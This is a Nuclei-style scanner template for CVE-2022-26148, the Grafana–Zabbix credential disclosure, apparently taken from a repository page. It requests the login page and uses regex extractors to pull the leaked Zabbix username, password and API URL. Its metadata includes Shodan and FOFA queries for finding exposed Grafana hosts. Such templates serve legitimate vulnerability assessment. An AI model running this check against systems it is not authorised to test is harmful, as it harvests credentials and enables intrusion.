52 lines
1.5 KiB
YAML
52 lines
1.5 KiB
YAML
|
id: CVE-2022-26148
|
||
|
|
||
|
info:
|
||
|
name: Grafana Zabbix Integration - Credential Disclosure
|
||
|
author: Geekby
|
||
|
severity: critical
|
||
|
description: An issue was discovered in Grafana through 7.3.4, when integrated with Zabbix. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.
|
||
|
reference:
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-26148
|
||
|
- https://2k8.org/post-319.html
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
|
cvss-score: 9.8
|
||
|
cve-id: CVE-2022-26148
|
||
|
metadata:
|
||
|
fofa-query: app="Grafana"
|
||
|
shodan-query: title:"Grafana"
|
||
|
tags: cve,cve2022,grafana,zabbix
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/login?redirect=%2F"
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: regex
|
||
|
part: body
|
||
|
regex:
|
||
|
- '"password":"(.*?)"'
|
||
|
- '"username":"(.*?)"'
|
||
|
condition: and
|
||
|
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- '"zabbix":'
|
||
|
- '"zbx":'
|
||
|
- "alexanderzobnin-zabbix-datasource"
|
||
|
condition: or
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|
||
|
|
||
|
extractors:
|
||
|
- type: regex
|
||
|
group: 1
|
||
|
regex:
|
||
|
- '"password":"(.*?)"'
|
||
|
- '"username":"(.*?)"'
|
||
|
- '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php'
|